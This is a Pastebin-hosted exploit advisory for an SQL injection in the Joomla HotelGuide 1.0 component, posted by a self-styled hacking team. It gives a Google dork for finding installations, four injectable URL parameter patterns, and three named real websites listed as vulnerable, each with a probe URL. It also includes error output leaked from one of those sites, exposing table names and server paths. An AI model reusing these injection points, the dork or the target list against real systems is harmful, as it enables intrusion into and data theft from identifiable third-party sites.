KingSkrupellos

Joomla HotelGuide Components 1.0 SQL Injection

Jan 31st, 2019
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.31 KB | None | 0 0
  1. ####################################################################
  2.  
  3. # Exploit Title : Joomla HotelGuide Components 1.0 SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 30/01/2019
  7. # Vendor Homepage : joomla4ever.org
  8. # Software Download Link : joomla4ever.org/archive/ext/com_hotelguide.zip
  9. # Software Information Link : joomla4ever.org/extensions/ext-hotelguide
  10. # Software Version : 1.0
  11. # Tested On : Windows and Linux
  12. # Category : WebApps
  13. # Exploit Risk : Medium
  14. # Google Dorks : inurl:''/index.php?option=com_hotelguide''
  15. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  16. Special Elements used in an SQL Command ('SQL Injection') ]
  17. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  18. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  19. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  20. # Reference Link : cxsecurity.com/issue/WLB-2019010308
  21. packetstormsecurity.com/files/151425/Joomla-HotelGuide-1.0-SQL-Injection.html
  22.  
  23. ####################################################################
  24.  
  25. # Description about Software :
  26. ***************************
  27. " HotelGuide " is open source software for Joomla.
  28.  
  29. Guide Hotelguide - a professional solution for travel agency or tour operator.
  30.  
  31. GoogleMaps support with mini-images of each item by region.
  32.  
  33. Text translation through an internal or external interface using Joomfish.
  34.  
  35. You can upload a set of pictures for each hotel.
  36.  
  37. ####################################################################
  38.  
  39. # Impact :
  40. ***********
  41.  
  42. Joomla HotelGuide 1.0 component for Joomla! is prone to an SQL-injection vulnerability
  43.  
  44. because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  45.  
  46. Exploiting this issue could allow an attacker to compromise the application,
  47.  
  48. access or modify data, or exploit latent vulnerabilities in the underlying database.
  49.  
  50. ####################################################################
  51.  
  52. # SQL Injection Exploit :
  53. **********************
  54.  
  55. /index.php?option=com_hotelguide&Itemid=[SQL Injection]
  56.  
  57. /index.php?option=com_hotelguide&view=city&id=[SQL Injection]
  58.  
  59. /index.php?option=com_hotelguide&Itemid=[ID-NUMBER]&view=city&id=[SQL Injection]
  60.  
  61. /index.php?option=com_hotelguide&view=city&id=[ID-NUMBER]:[CITY-NAME-HERE]&Itemid=[SQL Injection]
  62.  
  63. ####################################################################
  64.  
  65. # Example Vulnerable Sites :
  66. *************************
  67.  
  68. [+] medidatravel.com/index.php?option=com_hotelguide&Itemid=28&view=city&id=10%27
  69.  
  70. [+] agrituristabruzzo.it/index.php?option=com_hotelguide&view=city&id=34%27
  71.  
  72. [+] hotelbg.info/index.php?option=com_hotelguide&view=city&id=6%27
  73.  
  74. ####################################################################
  75.  
  76. # Example SQL Database Error :
  77. ****************************
  78.  
  79. No valid database connection You have an error in your SQL syntax; check the manual
  80. that corresponds to your MySQL server version for the right syntax to use near ''
  81. at line 1 SQL=SELECT s.id AS value, s.name AS text, s.image, cc.continent AS
  82. continent, cc.name AS countryname, CASE WHEN CHAR_LENGTH( s.alias )
  83. THEN CONCAT_WS( ':', s.id, s.alias ) ELSE s.id END AS slug FROM jos_hg_states
  84. AS s LEFT JOIN jos_hg_countries AS cc ON cc.id =
  85. s.country WHERE s.published = 1 AND s.country =
  86.  
  87. Fatal error: Uncaught exception 'RuntimeException' with message 'Unknown column
  88. 'header' in 'field list' SQL=SELECT `new_url`,`header`,`published` FROM
  89. `new2014_redirect_links` WHERE `old_url` = 'http://www.medidatravel.com
  90. /index.php?option=com_hotelguide&Itemid=28&view=city&id=10\'' LIMIT 0,
  91. 1' in /home/medidatr/public_html/libraries/joomla/database/driver/mysqli.php:610
  92. Stack trace: #0 /home/medidatr/public_html/libraries/joomla/database/driver.php
  93. (1279): JDatabaseDriverMysqli->execute() #1 /home/medidatr/public_html
  94. /plugins/system/redirect/redirect.php(86): JDatabaseDriver->loadObject()
  95. #2 [internal function]: PlgSystemRedirect::handleError(Object(Exception))
  96. #3 {main} thrown in /home/medidatr/public_html/libraries
  97. /joomla/database/driver/mysqli.php on line 610
  98.  
  99. ####################################################################
  100.  
  101. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  102.  
  103. ####################################################################
Add Comment
Please, Sign In to add comment